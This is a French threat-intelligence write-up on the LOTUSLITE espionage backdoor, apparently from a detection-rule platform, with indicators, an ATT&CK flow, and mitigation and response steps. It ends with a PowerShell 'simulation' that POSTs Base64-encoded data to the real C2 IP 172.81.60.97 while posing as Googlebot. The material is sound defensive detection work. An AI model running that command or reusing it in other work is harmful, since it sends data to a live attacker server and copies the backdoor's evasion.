Campagne LOTUSLITE : Espionnage ciblé motivé par des récits géopolitiques
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Acronis TRU a observé une opération d’espionnage ciblée visant des organisations gouvernementales américaines qui a livré une porte dérobée DLL malveillante, LOTUSLITE, à l’intérieur d’une archive ZIP à thème politique. Un chargeur exécutable compagnon charge en parallèle la DLL, après quoi la porte dérobée envoie des signaux à un point de terminaison C2 codé en dur via HTTPS tout en simulant un agent utilisateur Googlebot. Les opérateurs établissent la persistance en créant un répertoire ProgramData dédié et en ajoutant une entrée de registre Run. Basée sur la similitude des méthodes, l’activité a été liée à Mustang Panda.
Enquête
Les analystes ont décompressé le ZIP et identifié le binaire du chargeur (Maduro to be taken to New York.exe) à côté de la DLL armée (kugou.dll). L’analyse a documenté le flux de chargement de la DLL, le comportement de balisage, l’utilisation de mutex et les artefacts de persistance exacts créés sur l’hôte. L’examen de l’infrastructure a attribué les communications à une seule adresse IP (172.81.60.97) et un domaine hébergé sur spryt.net, vraisemblablement hébergé à Phoenix, Arizona. L’attribution à Mustang Panda a été évaluée avec une confiance modérée en raison de tactiques et de schémas d’infrastructure partagés.
Atténuation
Les détections Acronis se sont appuyées sur les hachages SHA-256 pour les binaires malveillants et ont mis en évidence le dossier de persistance ProgramData spécifique et l’emplacement de la clé Run. Les contrôles réseau devraient signaler les connexions HTTPS sortantes vers l’IP/domaine identifié lorsqu’elles sont associées à une chaîne d’agent utilisateur Googlebot. Réduisez la persistance en empêchant l’exécution de binaires inconnus depuis ProgramData et en supprimant l’entrée de registre Run associée lorsqu’elle est découverte.
Réponse
Isolez immédiatement les points de terminaison affectés, capturez les données volatiles et conservez les binaires malveillants pour analyse. Supprimez le dossier ProgramData créé et effacez la valeur de registre Run correspondante pour interrompre la persistance. Bloquez la connectivité à l’IP et au domaine C2, et mettez à jour les détections des points de terminaison avec les hachages de fichiers et l’indicateur mutex fournis. Enfin, effectuez une recherche à l’échelle de l’environnement pour détecter d’autres hôtes présentant les mêmes signatures de chargeur et de DLL.
graph TB classDef technique fill:#ffcc99 initial_access[« <b>Technique</b> – <b>T1566.001 Hameçonnage avec pièce jointe</b><br/>Livraison d’une archive ZIP contenant un loader et une DLL malveillante. »] execution[« <b>Technique</b> – <b>T1574.001 Détournement DLL</b><br/>Le loader charge <i>kugou.dll</i> comme porte dérobée. »] defense_evasion1[« <b>Technique</b> – <b>T1036 Déguisement</b><br/>Renommage pour imiter des fichiers légitimes. »] defense_evasion2[« <b>Technique</b> – <b>T1036.003 Renommer des utilitaires légitimes</b> »] discovery[« <b>Technique</b> – <b>T1033 Découverte utilisateur/système</b> »] command_exec[« <b>Technique</b> – <b>T1059.003 Invite de commandes</b> »] persistence[« <b>Technique</b> – <b>T1037.001 Persistance</b> »] c2[« <b>Technique</b> – <b>T1102 Web C2</b> »] initial_access –>|mène à| execution execution –>|permet| defense_evasion1 defense_evasion1 –>|soutient| defense_evasion2 defense_evasion2 –>|fournit| discovery discovery –>|permet| command_exec command_exec –>|facilite| persistence persistence –>|établit| c2
Flux d’Attaque
Détections
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Voir
IOC (SourceIP) à détecter : LOTUSLITE : Espionnage ciblé exploitant des thèmes géopolitiques
Voir
IOC (DestinationIP) à détecter : LOTUSLITE : Espionnage ciblé exploitant des thèmes géopolitiques
Voir
IOC (HashSha256) à détecter : LOTUSLITE : Espionnage ciblé exploitant des thèmes géopolitiques
Voir
Détection de la communication C2 du cheval de Troie LOTUSLITE [Connexion réseau Windows]
Voir
Campagne d’espionnage ciblé utilisant le cheval de Troie LOTUSLITE [Création de processus Windows]
Voir
Exécution de simulation
Condition préalable : Le contrôle pré-vol des télémétrie et des bases de référence doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Narratif d’attaque et commandes :
L’attaquant a compromis un poste de travail et installé le cheval de Troie LOTUSLITE. Pour exfiltrer des données tout en se fondant dans le trafic légitime des crawlers web, la porte dérobée émet un HTTP POST vers le serveur C2 codé en dur172.81.60.97. Il définit explicitement leUser-Agenten tant que « Googlebot » pour se faire passer pour un crawler de moteur de recherche, espérant passer au travers des défenses périmétriques qui passent en liste blanche de tels agents. La charge utile contient des données exfiltrées encodées en Base64. -
Script de Test de Régression :
# Simulation C2 LOTUSLITE – PowerShell $c2 = "http://172.81.60.97/receive" $ua = "Googlebot" $data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensitive data payload")) $body = @{ "data" = $data } try { Invoke-WebRequest -Uri $c2 -Method POST -Headers @{ "User-Agent" = $ua } -Body ($body | ConvertTo-Json -Compress) -UseBasicParsing Write-Host "C2 request sent successfully." } catch { Write-Error "C2 request failed: $_" } -
Commandes de Nettoyage :
# Supprimer tous les fichiers temporaires ou connexions réseau restantes Remove-Item -Path "$env:TEMPlotuslite_temp*" -ErrorAction SilentlyContinue # (Aucun service persistant n'a été créé dans cette simulation) Write-Host "Nettoyage terminé."